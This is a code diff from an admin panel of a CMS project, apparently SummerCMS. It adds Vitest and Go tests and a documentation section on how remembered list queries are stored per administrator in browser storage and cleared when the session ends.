expect(window.localStorage.getItem(KEY)).toBeNull()
|
||||
})
|
||||
|
||||
it('restores again on the next entry once a working query is stored', async () => {
|
||||
writeListState(ID, { sort: 'broken', dir: 'asc' })
|
||||
const first = await mountApp('/acme/demo/widgets', routes({ [`GET ${BASE}`]: failSorted(serverError) }))
|
||||
await flushPromises()
|
||||
expect(listQueries(first.calls)).toHaveLength(2)
|
||||
first.wrapper.unmount()
|
||||
|
||||
writeListState(ID, { search: 'blue' })
|
||||
const second = await mountApp('/acme/demo/widgets', routes())
|
||||
await flushPromises()
|
||||
const sent = listQueries(second.calls)
|
||||
expect(sent).toHaveLength(1)
|
||||
expect(sent[0]!.get('search')).toBe('blue')
|
||||
})
|
||||
|
||||
it('keeps a failing URL query on screen with the error and a reset, and stores it as before', async () => {
|
||||
const { wrapper, calls, router } = await mountApp(
|
||||
'/acme/demo/widgets?sort=broken&dir=desc',
|
||||
routes({ [`GET ${BASE}`]: failSorted(serverError) }),
|
||||
)
|
||||
await flushPromises()
|
||||
expect(listQueries(calls)).toHaveLength(1)
|
||||
expect(router.currentRoute.value.query).toEqual({ sort: 'broken', dir: 'desc' })
|
||||
expect(wrapper.find('[role="alert"]').text()).toBe('Nie udało się wczytać listy.')
|
||||
expect(wrapper.find('table').exists()).toBe(false)
|
||||
expect(readListState(ID)).toEqual({ sort: 'broken', dir: 'desc' })
|
||||
|
||||
const reset = wrapper.find('[data-action="reset-list"]')
|
||||
expect(reset.text()).toBe('Wyczyść wyszukiwanie, filtry i sortowanie')
|
||||
await reset.trigger('click')
|
||||
await flushPromises()
|
||||
const sent = listQueries(calls)
|
||||
expect(sent).toHaveLength(2)
|
||||
expect([...sent[1]!.keys()]).toEqual([])
|
||||
expect(router.currentRoute.value.fullPath).toBe('/acme/demo/widgets')
|
||||
expect(window.localStorage.getItem(KEY)).toBeNull()
|
||||
expect(wrapper.find('[role="alert"]').exists()).toBe(false)
|
||||
expect(wrapper.find('table').exists()).toBe(true)
|
||||
})
|
||||
|
||||
it('keeps a URL query that answers 422 on screen, drops it from storage and offers the reset', async () => {
|
||||
writeListState(ID, { search: 'older' })
|
||||
const { wrapper, calls, router } = await mountApp(
|
||||
'/acme/demo/widgets?sort=broken&dir=asc',
|
||||
routes({ [`GET ${BASE}`]: failSorted(invalid) }),
|
||||
)
|
||||
await flushPromises()
|
||||
expect(listQueries(calls)).toHaveLength(1)
|
||||
expect(router.currentRoute.value.query).toEqual({ sort: 'broken', dir: 'asc' })
|
||||
expect(window.localStorage.getItem(KEY)).toBeNull()
|
||||
expect(wrapper.find('[role="alert"]').exists()).toBe(true)
|
||||
expect(wrapper.find('[data-action="reset-list"]').exists()).toBe(true)
|
||||
})
|
||||
|
||||
it('shows no reset when the plain list fails from the URL', async () => {
|
||||
const { wrapper, calls } = await mountApp('/acme/demo/widgets', routes({ [`GET ${BASE}`]: serverError }))
|
||||
await flushPromises()
|
||||
expect(listQueries(calls)).toHaveLength(1)
|
||||
expect(wrapper.find('[role="alert"]').exists()).toBe(true)
|
||||
expect(wrapper.find('[data-action="reset-list"]').exists()).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
describe('stored list queries are per admin (WR-03, T-16.1-03)', () => {
|
||||
const ID = 'acme.demo.widgets'
|
||||
const other = { ...profile, data: { ...profile.data, id: 8, login: 'other' } }
|
||||
|
||||
it("never restores another admin's query and removes it when the next admin signs in", async () => {
|
||||
setListStateOwner(profile.data.id)
|
||||
writeListState(ID, { search: 'jan.kowalski@example.test' })
|
||||
expect(window.localStorage.getItem(`${LIST_STATE_PREFIX}${profile.data.id}:${ID}`)).not.toBeNull()
|
||||
|
||||
const { calls, router } = await mountApp('/acme/demo/widgets', routes({ [`GET ${API}/auth/me`]: { body: other } }))
|
||||
await flushPromises()
|
||||
const sent = requestsTo(calls, 'GET', BASE).map(queryOf)
|
||||
expect(sent).toHaveLength(1)
|
||||
expect([...sent[0]!.keys()]).toEqual([])
|
||||
expect(router.currentRoute.value.fullPath).toBe('/acme/demo/widgets')
|
||||
expect(Object.keys(window.localStorage).filter((key) => key.startsWith(LIST_STATE_PREFIX))).toEqual([])
|
||||
})
|
||||
|
||||
it('never restores an unscoped key of an older build and sweeps it', async () => {
|
||||
window.localStorage.setItem(`${LIST_STATE_PREFIX}${ID}`, JSON.stringify({ search: 'legacy' }))
|
||||
window.localStorage.setItem(`${LIST_STATE_PREFIX}acme.demo.gadgets`, JSON.stringify({ sort: 'name' }))
|
||||
const { calls } = await mountApp('/acme/demo/widgets', routes())
|
||||
await flushPromises()
|
||||
const sent = requestsTo(calls, 'GET', BASE).map(queryOf)
|
||||
expect(sent).toHaveLength(1)
|
||||
expect(sent[0]!.get('search')).toBeNull()
|
||||
expect(Object.keys(window.localStorage).filter((key) => key.startsWith(LIST_STATE_PREFIX))).toEqual([])
|
||||
})
|
||||
|
||||
it('stores the next query under the signed-in admin only', async () => {
|
||||
const { calls } = await mountApp('/acme/demo/widgets?search=blue', routes({ [`GET ${API}/auth/me`]: { body: other } }))
|
||||
await flushPromises()
|
||||
expect(requestsTo(calls, 'GET', BASE)).toHaveLength(1)
|
||||
expect(Object.keys(window.localStorage).filter((key) => key.startsWith(LIST_STATE_PREFIX))).toEqual([
|
||||
`${LIST_STATE_PREFIX}8:${ID}`,
|
||||
])
|
||||
})
|
||||
})
|
||||
|
||||
259
admin/tests/state/listState.test.ts
Normal file
259
admin/tests/state/listState.test.ts
Normal file
@@ -0,0 +1,259 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
import {
|
||||
clearListStates,
|
||||
LIST_STATE_PREFIX,
|
||||
listStateOwner,
|
||||
listStateOwnerPrefix,
|
||||
readListState,
|
||||
setListStateOwner,
|
||||
writeListState,
|
||||
} from '../../src/state/listState'
|
||||
import { SIDEBAR_KEY } from '../../src/state/useSidebar'
|
||||
|
||||
// Browser-storage helpers of the per-list query memory (D-01), scoped to the
|
||||
// signed-in admin (WR-03, T-16.1-03).
|
||||
const ID = 'acme.demo.widgets'
|
||||
const OWNER = 7
|
||||
const KEY = `${LIST_STATE_PREFIX}${OWNER}:${ID}`
|
||||
|
||||
beforeEach(() => {
|
||||
window.localStorage.clear()
|
||||
setListStateOwner(OWNER)
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks()
|
||||
setListStateOwner(null)
|
||||
window.localStorage.clear()
|
||||
})
|
||||
|
||||
describe('list state keys', () => {
|
||||
it('uses the summer-admin.list: prefix plus the admin id and the controller id, one key per list', () => {
|
||||
expect(LIST_STATE_PREFIX).toBe('summer-admin.list:')
|
||||
expect(listStateOwnerPrefix(OWNER)).toBe('summer-admin.list:7:')
|
||||
writeListState(ID, { search: 'blue' })
|
||||
writeListState('acme.demo.gadgets', { sort: 'name', dir: 'asc' })
|
||||
expect(Object.keys(window.localStorage).sort()).toEqual([
|
||||
'summer-admin.list:7:acme.demo.gadgets',
|
||||
'summer-admin.list:7:acme.demo.widgets',
|
||||
])
|
||||
expect(JSON.parse(window.localStorage.getItem(KEY)!)).toEqual({ search: 'blue' })
|
||||
expect(readListState('acme.demo.gadgets')).toEqual({ sort: 'name', dir: 'asc' })
|
||||
})
|
||||
|
||||
it('reads a missing key as the empty query', () => {
|
||||
expect(readListState(ID)).toEqual({})
|
||||
expect(window.localStorage.getItem(KEY)).toBeNull()
|
||||
})
|
||||
})
|
||||
|
||||
describe('readListState', () => {
|
||||
it.each([
|
||||
['invalid JSON', '{"search": '],
|
||||
['a JSON string', '"search=blue"'],
|
||||
['a JSON number', '42'],
|
||||
['JSON null', 'null'],
|
||||
['an array', '["search", "blue"]'],
|
||||
['an object with a number value', '{"search": "blue", "page": 2}'],
|
||||
['an object with a nested object', '{"filter": {"active": "true"}}'],
|
||||
['an object with a boolean value', '{"filter[active]": true}'],
|
||||
])('returns the empty query for %s and removes the key', (_label, raw) => {
|
||||
window.localStorage.setItem(KEY, raw)
|
||||
expect(readListState(ID)).toEqual({})
|
||||
expect(window.localStorage.getItem(KEY)).toBeNull()
|
||||
})
|
||||
|
||||
it('drops malformed values through the strict parser like a hand-edited URL', () => {
|
||||
window.localStorage.setItem(
|
||||
KEY,
|
||||
JSON.stringify({
|
||||
search: ' ',
|
||||
dir: 'sideways',
|
||||
page: '0',
|
||||
per_page: 'many',
|
||||
'filter[active]': '',
|
||||
'filter[maker]': '3',
|
||||
unknown: 'value',
|
||||
'filter[': 'x',
|
||||
}),
|
||||
)
|
||||
expect(readListState(ID)).toEqual({ filter: { maker: '3' } })
|
||||
})
|
||||
|
||||
it('reads an unknown direction next to a sort as ascending', () => {
|
||||
window.localStorage.setItem(KEY, JSON.stringify({ sort: 'code', dir: 'sideways' }))
|
||||
expect(readListState(ID)).toEqual({ sort: 'code', dir: 'asc' })
|
||||
})
|
||||
|
||||
it('keeps a well-formed stored object of strings in place', () => {
|
||||
window.localStorage.setItem(KEY, JSON.stringify({ search: 'blue', page: '3' }))
|
||||
expect(readListState(ID)).toEqual({ search: 'blue', page: 3 })
|
||||
expect(window.localStorage.getItem(KEY)).not.toBeNull()
|
||||
})
|
||||
})
|
||||
|
||||
describe('writeListState', () => {
|
||||
it('round-trips search, sort, dir, a page above 1, per_page and filters', () => {
|
||||
const query = {
|
||||
search: 'blue',
|
||||
sort: 'code',
|
||||
dir: 'desc' as const,
|
||||
page: 3,
|
||||
per_page: 50,
|
||||
filter: { active: 'true', maker: '7' },
|
||||
}
|
||||
writeListState(ID, query)
|
||||
expect(JSON.parse(window.localStorage.getItem(KEY)!)).toEqual({
|
||||
search: 'blue',
|
||||
sort: 'code',
|
||||
dir: 'desc',
|
||||
page: '3',
|
||||
per_page: '50',
|
||||
'filter[active]': 'true',
|
||||
'filter[maker]': '7',
|
||||
})
|
||||
expect(readListState(ID)).toEqual(query)
|
||||
})
|
||||
|
||||
it('stores the first page as no page', () => {
|
||||
writeListState(ID, { sort: 'name', dir: 'asc', page: 1 })
|
||||
expect(readListState(ID)).toEqual({ sort: 'name', dir: 'asc' })
|
||||
})
|
||||
|
||||
it.each([
|
||||
['the empty query', {}],
|
||||
['a query of empty filter values', { filter: { active: '' } }],
|
||||
['a first page only', { page: 1 }],
|
||||
])('removes the key for %s instead of storing it', (_label, query) => {
|
||||
writeListState(ID, { search: 'blue' })
|
||||
expect(window.localStorage.getItem(KEY)).not.toBeNull()
|
||||
writeListState(ID, query)
|
||||
expect(window.localStorage.getItem(KEY)).toBeNull()
|
||||
expect(Object.keys(window.localStorage)).toEqual([])
|
||||
})
|
||||
})
|
||||
|
||||
describe('list state owner', () => {
|
||||
const OTHER_KEY = `${LIST_STATE_PREFIX}8:${ID}`
|
||||
const LEGACY_KEY = `${LIST_STATE_PREFIX}${ID}`
|
||||
|
||||
it('keeps the owner as a string and null when signed out', () => {
|
||||
expect(listStateOwner()).toBe('7')
|
||||
setListStateOwner(null)
|
||||
expect(listStateOwner()).toBeNull()
|
||||
setListStateOwner('')
|
||||
expect(listStateOwner()).toBeNull()
|
||||
})
|
||||
|
||||
it("never reads another admin's query and removes it when the owner changes", () => {
|
||||
writeListState(ID, { search: 'jan.kowalski@example.test' })
|
||||
setListStateOwner(8)
|
||||
expect(window.localStorage.getItem(KEY)).toBeNull()
|
||||
expect(readListState(ID)).toEqual({})
|
||||
writeListState(ID, { sort: 'name', dir: 'asc' })
|
||||
expect(Object.keys(window.localStorage)).toEqual([OTHER_KEY])
|
||||
})
|
||||
|
||||
it("does not read another admin's key even before any sweep", () => {
|
||||
window.localStorage.setItem(OTHER_KEY, JSON.stringify({ search: 'theirs' }))
|
||||
expect(readListState(ID)).toEqual({})
|
||||
expect(window.localStorage.getItem(OTHER_KEY)).not.toBeNull()
|
||||
})
|
||||
|
||||
it("keeps the owner's own keys when the same owner is set again", () => {
|
||||
writeListState(ID, { search: 'blue' })
|
||||
setListStateOwner('7')
|
||||
expect(readListState(ID)).toEqual({ search: 'blue' })
|
||||
})
|
||||
|
||||
it('sweeps the unscoped keys of older builds and never reads them', () => {
|
||||
window.localStorage.setItem(LEGACY_KEY, JSON.stringify({ search: 'legacy' }))
|
||||
window.localStorage.setItem(`${LIST_STATE_PREFIX}acme.demo.gadgets`, JSON.stringify({ sort: 'name' }))
|
||||
window.localStorage.setItem(SIDEBAR_KEY, 'true')
|
||||
expect(readListState(ID)).toEqual({})
|
||||
setListStateOwner(OWNER)
|
||||
expect(Object.keys(window.localStorage)).toEqual([SIDEBAR_KEY])
|
||||
})
|
||||
|
||||
it('does not take an admin id that only starts with the owner id for the owner', () => {
|
||||
window.localStorage.setItem(`${LIST_STATE_PREFIX}70:${ID}`, JSON.stringify({ search: 'seventy' }))
|
||||
writeListState(ID, { search: 'seven' })
|
||||
setListStateOwner(OWNER)
|
||||
expect(Object.keys(window.localStorage)).toEqual([KEY])
|
||||
})
|
||||
|
||||
it('removes every list key and reads and writes nothing once signed out', () => {
|
||||
window.localStorage.setItem(SIDEBAR_KEY, 'true')
|
||||
window.localStorage.setItem(OTHER_KEY, JSON.stringify({ search: 'theirs' }))
|
||||
window.localStorage.setItem(LEGACY_KEY, JSON.stringify({ search: 'legacy' }))
|
||||
writeListState(ID, { search: 'blue' })
|
||||
setListStateOwner(null)
|
||||
expect(Object.keys(window.localStorage)).toEqual([SIDEBAR_KEY])
|
||||
writeListState(ID, { search: 'blue' })
|
||||
expect(Object.keys(window.localStorage)).toEqual([SIDEBAR_KEY])
|
||||
window.localStorage.setItem(KEY, JSON.stringify({ search: 'planted' }))
|
||||
expect(readListState(ID)).toEqual({})
|
||||
})
|
||||
})
|
||||
|
||||
describe('clearListStates', () => {
|
||||
it('removes every list key and keeps the sidebar preference and other keys', () => {
|
||||
window.localStorage.setItem(SIDEBAR_KEY, 'true')
|
||||
window.localStorage.setItem('unrelated', 'kept')
|
||||
writeListState(ID, { search: 'blue' })
|
||||
writeListState('acme.demo.gadgets', { sort: 'name', dir: 'desc' })
|
||||
writeListState('acme.other.people', { filter: { active: 'true' } })
|
||||
window.localStorage.setItem(`${LIST_STATE_PREFIX}8:${ID}`, JSON.stringify({ search: 'theirs' }))
|
||||
window.localStorage.setItem(`${LIST_STATE_PREFIX}${ID}`, JSON.stringify({ search: 'legacy' }))
|
||||
clearListStates()
|
||||
expect(Object.keys(window.localStorage).sort()).toEqual(['summer-admin.sidebar', 'unrelated'])
|
||||
expect(window.localStorage.getItem(SIDEBAR_KEY)).toBe('true')
|
||||
})
|
||||
|
||||
it('is a no-op on empty storage', () => {
|
||||
expect(() => clearListStates()).not.toThrow()
|
||||
expect(Object.keys(window.localStorage)).toEqual([])
|
||||
})
|
||||
})
|
||||
|
||||
describe('storage that throws', () => {
|
||||
it('reads the empty query and writes and clears without throwing', () => {
|
||||
vi.spyOn(Storage.prototype, 'getItem').mockImplementation(() => {
|
||||
throw new DOMException('denied', 'SecurityError')
|
||||
})
|
||||
vi.spyOn(Storage.prototype, 'setItem').mockImplementation(() => {
|
||||
throw new DOMException('full', 'QuotaExceededError')
|
||||
})
|
||||
vi.spyOn(Storage.prototype, 'removeItem').mockImplementation(() => {
|
||||
throw new DOMException('denied', 'SecurityError')
|
||||
})
|
||||
vi.spyOn(Storage.prototype, 'key').mockImplementation(() => {
|
||||
throw new DOMException('denied', 'SecurityError')
|
||||
})
|
||||
expect(readListState(ID)).toEqual({})
|
||||
expect(() => writeListState(ID, { search: 'blue' })).not.toThrow()
|
||||
expect(() => writeListState(ID, {})).not.toThrow()
|
||||
expect(() => clearListStates()).not.toThrow()
|
||||
expect(() => setListStateOwner(8)).not.toThrow()
|
||||
expect(() => setListStateOwner(null)).not.toThrow()
|
||||
})
|
||||
|
||||
it('drops a malformed value even when the removal throws', () => {
|
||||
window.localStorage.setItem(KEY, '{broken')
|
||||
vi.spyOn(Storage.prototype, 'removeItem').mockImplementation(() => {
|
||||
throw new DOMException('denied', 'SecurityError')
|
||||
})
|
||||
expect(readListState(ID)).toEqual({})
|
||||
})
|
||||
|
||||
it('treats a window whose localStorage getter throws as no storage', () => {
|
||||
vi.spyOn(window, 'localStorage', 'get').mockImplementation(() => {
|
||||
throw new DOMException('denied', 'SecurityError')
|
||||
})
|
||||
expect(readListState(ID)).toEqual({})
|
||||
expect(() => writeListState(ID, { search: 'blue' })).not.toThrow()
|
||||
expect(() => writeListState(ID, {})).not.toThrow()
|
||||
expect(() => clearListStates()).not.toThrow()
|
||||
expect(() => setListStateOwner(8)).not.toThrow()
|
||||
})
|
||||
})
|
||||
@@ -1,7 +1,11 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
import { createMemoryHistory } from 'vue-router'
|
||||
import { api, onUnauthorized } from '../../src/api/client'
|
||||
import { createAdminRouter } from '../../src/app/router'
|
||||
import {
|
||||
clearUser,
|
||||
currentUser,
|
||||
expireSession,
|
||||
login,
|
||||
logout,
|
||||
me,
|
||||
@@ -9,7 +13,9 @@ import {
|
||||
setCurrentUser,
|
||||
useAuth,
|
||||
} from '../../src/state/useAuth'
|
||||
import { LIST_STATE_PREFIX, listStateOwner, readListState, writeListState } from '../../src/state/listState'
|
||||
import { navigation, setNavigation } from '../../src/state/useNavigation'
|
||||
import { SIDEBAR_KEY } from '../../src/state/useSidebar'
|
||||
import { setSettings, settings } from '../../src/state/useSettings'
|
||||
import { navigationFixture, settingsFixture } from '../fixtures/typed'
|
||||
import { API, mockApi, profile, requestsTo, resetState } from '../helpers'
|
||||
@@ -129,6 +135,24 @@ describe('logout (T-10-23)', () => {
|
||||
}
|
||||
})
|
||||
|
||||
it.each([
|
||||
['succeeds', { body: { data: { status: 'logged_out' }, meta: {} } }],
|
||||
['answers 500', { status: 500, body: { error: { code: 'server', message: 'x', details: {} } } }],
|
||||
['fails on the network', 'throw' as const],
|
||||
])('removes every stored list query and keeps the sidebar preference when the call %s', async (_label, route) => {
|
||||
await signedIn(route)
|
||||
window.localStorage.setItem(SIDEBAR_KEY, 'true')
|
||||
writeListState('acme.demo.widgets', { search: 'blue', sort: 'code', dir: 'desc' })
|
||||
writeListState('acme.demo.gadgets', { filter: { active: 'true' } })
|
||||
expect(Object.keys(window.localStorage).filter((key) => key.startsWith('summer-admin.list:'))).toHaveLength(2)
|
||||
|
||||
await logout({ replace: vi.fn().mockResolvedValue(undefined) })
|
||||
|
||||
expect(Object.keys(window.localStorage).filter((key) => key.startsWith('summer-admin.list:'))).toEqual([])
|
||||
expect(Object.keys(window.localStorage)).toEqual([SIDEBAR_KEY])
|
||||
expect(window.localStorage.getItem(SIDEBAR_KEY)).toBe('true')
|
||||
})
|
||||
|
||||
it('works without a router and swallows a failed navigation', async () => {
|
||||
await signedIn({ body: { data: { status: 'logged_out' }, meta: {} } })
|
||||
await expect(logout()).resolves.toBeUndefined()
|
||||
@@ -146,6 +170,129 @@ describe('logout (T-10-23)', () => {
|
||||
expect(auth.logout).toBe(logout)
|
||||
expect(auth.me).toBe(me)
|
||||
expect(auth.clearUser).toBe(clearUser)
|
||||
expect(auth.expireSession).toBe(expireSession)
|
||||
})
|
||||
})
|
||||
|
||||
describe('stored list queries follow the session (WR-03, T-16.1-03)', () => {
|
||||
const ID = 'acme.demo.widgets'
|
||||
const other = { ...profile, data: { ...profile.data, id: 8, login: 'other' } }
|
||||
const listKeys = () => Object.keys(window.localStorage).filter((key) => key.startsWith(LIST_STATE_PREFIX))
|
||||
|
||||
async function signInAs(envelope: typeof profile, routes: Parameters<typeof mockApi>[0] = {}) {
|
||||
const calls = mockApi({ [`GET ${API}/auth/me`]: { body: envelope }, ...routes })
|
||||
await me()
|
||||
return calls
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
onUnauthorized(null)
|
||||
})
|
||||
|
||||
it('scopes the stored queries to the admin me() loads', async () => {
|
||||
await signInAs(profile)
|
||||
expect(listStateOwner()).toBe('7')
|
||||
writeListState(ID, { search: 'blue' })
|
||||
expect(listKeys()).toEqual([`${LIST_STATE_PREFIX}7:${ID}`])
|
||||
expect(readListState(ID)).toEqual({ search: 'blue' })
|
||||
})
|
||||
|
||||
it("never hands one admin's query to the next admin who signs in on this browser", async () => {
|
||||
await signInAs(profile)
|
||||
writeListState(ID, { search: 'jan.kowalski@example.test' })
|
||||
writeListState('acme.demo.gadgets', { sort: 'name', dir: 'asc' })
|
||||
|
||||
// The tab was closed without a logout; another admin signs in.
|
||||
await signInAs(other)
|
||||
expect(listStateOwner()).toBe('8')
|
||||
expect(readListState(ID)).toEqual({})
|
||||
expect(listKeys()).toEqual([])
|
||||
})
|
||||
|
||||
it('keeps the own queries when the same admin loads again or edits the profile', async () => {
|
||||
await signInAs(profile)
|
||||
writeListState(ID, { search: 'blue' })
|
||||
await signInAs(profile)
|
||||
setCurrentUser({ ...profile.data, first_name: 'Grace' })
|
||||
expect(readListState(ID)).toEqual({ search: 'blue' })
|
||||
})
|
||||
|
||||
it('removes every stored query when me() finds no session', async () => {
|
||||
await signInAs(profile)
|
||||
writeListState(ID, { search: 'blue' })
|
||||
window.localStorage.setItem(`${LIST_STATE_PREFIX}${ID}`, JSON.stringify({ search: 'legacy' }))
|
||||
mockApi({ [`GET ${API}/auth/me`]: unauthorized })
|
||||
expect(await me()).toBeNull()
|
||||
expect(listStateOwner()).toBeNull()
|
||||
expect(listKeys()).toEqual([])
|
||||
})
|
||||
|
||||
it('sweeps unscoped keys of older builds when the profile loads', async () => {
|
||||
window.localStorage.setItem(`${LIST_STATE_PREFIX}${ID}`, JSON.stringify({ search: 'legacy' }))
|
||||
window.localStorage.setItem(SIDEBAR_KEY, 'true')
|
||||
await signInAs(profile)
|
||||
expect(readListState(ID)).toEqual({})
|
||||
expect(listKeys()).toEqual([])
|
||||
expect(window.localStorage.getItem(SIDEBAR_KEY)).toBe('true')
|
||||
})
|
||||
|
||||
it('clearUser removes every stored query and stops storing', async () => {
|
||||
await signInAs(profile)
|
||||
writeListState(ID, { search: 'blue' })
|
||||
clearUser()
|
||||
expect(listKeys()).toEqual([])
|
||||
writeListState(ID, { search: 'blue' })
|
||||
expect(listKeys()).toEqual([])
|
||||
})
|
||||
|
||||
it('expireSession clears the session and the stored queries and routes to login with the redirect', async () => {
|
||||
await signInAs(profile)
|
||||
writeListState(ID, { search: 'blue' })
|
||||
const push = vi.fn().mockResolvedValue(undefined)
|
||||
expireSession({ currentRoute: { value: { name: 'list', fullPath: '/acme/demo/widgets?search=blue' } }, push })
|
||||
expect(currentUser.value).toBeNull()
|
||||
expect(listKeys()).toEqual([])
|
||||
expect(push).toHaveBeenCalledWith({ name: 'login', query: { redirect: '/acme/demo/widgets?search=blue' } })
|
||||
})
|
||||
|
||||
it('expireSession stays on the login screen and swallows a failed navigation', async () => {
|
||||
await signInAs(profile)
|
||||
writeListState(ID, { search: 'blue' })
|
||||
const push = vi.fn().mockResolvedValue(undefined)
|
||||
expireSession({ currentRoute: { value: { name: 'login', fullPath: '/login' } }, push })
|
||||
expect(push).not.toHaveBeenCalled()
|
||||
expect(listKeys()).toEqual([])
|
||||
|
||||
await signInAs(profile)
|
||||
const failing = vi.fn().mockRejectedValue(new Error('aborted'))
|
||||
expireSession({ currentRoute: { value: { name: 'list', fullPath: '/acme/demo/widgets' } }, push: failing })
|
||||
await Promise.resolve()
|
||||
expect(failing).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
|
||||
it('a 401 the refresh cannot recover clears the stored queries through the onUnauthorized handler of main.ts', async () => {
|
||||
const calls = await signInAs(profile, {
|
||||
[`GET ${API}/acme/demo/widgets`]: unauthorized,
|
||||
[`POST ${API}/auth/refresh`]: unauthorized,
|
||||
})
|
||||
const router = createAdminRouter(createMemoryHistory())
|
||||
await router.push('/acme/demo/widgets?search=blue')
|
||||
await router.isReady()
|
||||
// The same wiring as main.ts.
|
||||
onUnauthorized(() => expireSession(router))
|
||||
writeListState(ID, { search: 'jan.kowalski@example.test' })
|
||||
expect(listKeys()).toHaveLength(1)
|
||||
|
||||
await api.GET('/{vendor}/{plugin}/{controller}', {
|
||||
params: { path: { vendor: 'acme', plugin: 'demo', controller: 'widgets' }, query: {} },
|
||||
})
|
||||
await new Promise((resolve) => setTimeout(resolve, 0))
|
||||
|
||||
expect(requestsTo(calls, 'POST', `${API}/auth/refresh`)).toHaveLength(1)
|
||||
expect(currentUser.value).toBeNull()
|
||||
expect(listKeys()).toEqual([])
|
||||
expect(router.currentRoute.value.name).toBe('login')
|
||||
expect(router.currentRoute.value.query.redirect).toBe('/acme/demo/widgets?search=blue')
|
||||
})
|
||||
})
|
||||
|
||||
|
||||
@@ -167,6 +167,14 @@ The badge texts are list messages. Override them per list in the `messages` bloc
|
||||
|
||||
A list that shows soft-deleted records includes them in its scope, as `withTrashed()` does in WinterCMS: return `db.Unscoped()` (narrowed as needed) from `pact.ListExtendQuery` and `pact.FormExtendQuery`. Such a record can then be shown, updated and targeted by bulk and record actions, and it stays soft-deleted through an update. Code that writes to it, such as an action's `Run`, must use an unscoped handle too (`tx.Unscoped()`), or GORM adds its `deleted_at IS NULL` condition and the write matches nothing. Deleting it through the admin soft-deletes again, which changes nothing; a controller that wants the delete to be permanent removes the row in `pact.FormAfterDelete`.
|
||||
|
||||
## Remembered list state
|
||||
|
||||
The admin keeps a list's search, sort, filters, page and page size in the URL, so a filtered list can be bookmarked or shared. It also remembers the last of these per list in the browser's local storage. When an administrator opens a list without any of these parameters in the URL (from the navigation, a breadcrumb or a form's back, save or delete), the admin restores the remembered query. A URL that carries list parameters wins and replaces the remembered query.
|
||||
|
||||
Search terms can contain personal data, so remembered queries belong to one administrator and one session. They are stored under the signed-in administrator's id. Signing in as another administrator on the same browser removes every other administrator's queries, and the remembered queries of older builds, which were not stored per administrator. Every session end removes all of them: logging out, an expired session, and a 401 that the session refresh cannot recover. Only these list parameters are stored, never a token or record data.
|
||||
|
||||
A restored query never leaves a list unusable. If the list request built from a restored query fails for any reason (a 422 for a column or filter that no longer exists, a server error, or no connection), the admin forgets the query and loads the plain list once instead. A query that came from the URL keeps the error on screen, because the administrator chose it. A 422 still removes it from storage, and a button next to the error clears search, filters and sorting and loads the plain list.
|
||||
|
||||
## Scoping every list
|
||||
|
||||
To restrict which records an administrator sees at all, implement `pact.ListExtendQuery` on the controller. It receives the list query before search, filters and pagination are applied, so the restriction holds for every request. See [Admin controllers](admin-controllers.md) for the other hooks.
|
||||
|
||||
9
modules/boardwalk/dist/assets/index-CNLOPBsM.js
vendored
Normal file
9
modules/boardwalk/dist/assets/index-CNLOPBsM.js
vendored
Normal file
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
2
modules/boardwalk/dist/index.html
vendored
2
modules/boardwalk/dist/index.html
vendored
@@ -7,7 +7,7 @@
|
||||
<meta name="summer-admin-base" content="__SUMMER_ADMIN_BASE__" />
|
||||
<link rel="icon" href="./favicon.ico" sizes="48x48" />
|
||||
<title>SummerCMS</title>
|
||||
<script type="module" crossorigin src="./assets/index-Dm9E9btv.js"></script>
|
||||
<script type="module" crossorigin src="./assets/index-CNLOPBsM.js"></script>
|
||||
<link rel="stylesheet" crossorigin href="./assets/index-COkYalVD.css">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
@@ -2,10 +2,12 @@ package cabana
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"slices"
|
||||
"testing"
|
||||
|
||||
"git.golem15.com/golem15/summercms/modules/backpack"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
// TestEnabledLocalesDefaultFirstSmoke pins D-03: the form schema lists the
|
||||
@@ -25,3 +27,109 @@ func TestEnabledLocalesDefaultFirstSmoke(t *testing.T) {
|
||||
t.Fatalf("enabledContentLocales = %v, want [pl en]", got)
|
||||
}
|
||||
}
|
||||
|
||||
// failingDefaultWriter answers its enabled locales but fails DefaultLocale.
|
||||
type failingDefaultWriter struct{ recordingWriter }
|
||||
|
||||
func (w *failingDefaultWriter) DefaultLocale(context.Context, *gorm.DB) (string, error) {
|
||||
return "", errors.New("default locale unavailable")
|
||||
}
|
||||
|
||||
// failingEnabledWriter fails EnabledLocales.
|
||||
type failingEnabledWriter struct{ recordingWriter }
|
||||
|
||||
func (w *failingEnabledWriter) EnabledLocales(context.Context, *gorm.DB) ([]string, error) {
|
||||
return nil, errors.New("enabled locales unavailable")
|
||||
}
|
||||
|
||||
// TestEnabledLocalesDefaultFirst covers every ordering case of
|
||||
// enabledContentLocales (D-03): the default moves to the front, the other
|
||||
// codes keep the writer's order, and a missing or failing default leaves
|
||||
// the writer's order alone.
|
||||
func TestEnabledLocalesDefaultFirst(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
writer TranslationWriter
|
||||
want []string
|
||||
}{
|
||||
{"default not first", &recordingWriter{defaultLocale: "pl", enabled: []string{"en", "pl"}}, []string{"pl", "en"}},
|
||||
{"default already first", &recordingWriter{defaultLocale: "pl", enabled: []string{"pl", "en"}}, []string{"pl", "en"}},
|
||||
{"default absent from the list", &recordingWriter{defaultLocale: "fr", enabled: []string{"en", "pl"}}, []string{"en", "pl"}},
|
||||
{"empty default", &recordingWriter{defaultLocale: "", enabled: []string{"en", "pl"}}, []string{"en", "pl"}},
|
||||
{"DefaultLocale error keeps the order", &failingDefaultWriter{recordingWriter{defaultLocale: "pl", enabled: []string{"en", "pl"}}}, []string{"en", "pl"}},
|
||||
{"three locales keep their relative order", &recordingWriter{defaultLocale: "pl", enabled: []string{"en", "de", "pl"}}, []string{"pl", "en", "de"}},
|
||||
{"default in the middle", &recordingWriter{defaultLocale: "de", enabled: []string{"en", "de", "pl"}}, []string{"de", "en", "pl"}},
|
||||
{"single locale", &recordingWriter{defaultLocale: "pl", enabled: []string{"pl"}}, []string{"pl"}},
|
||||
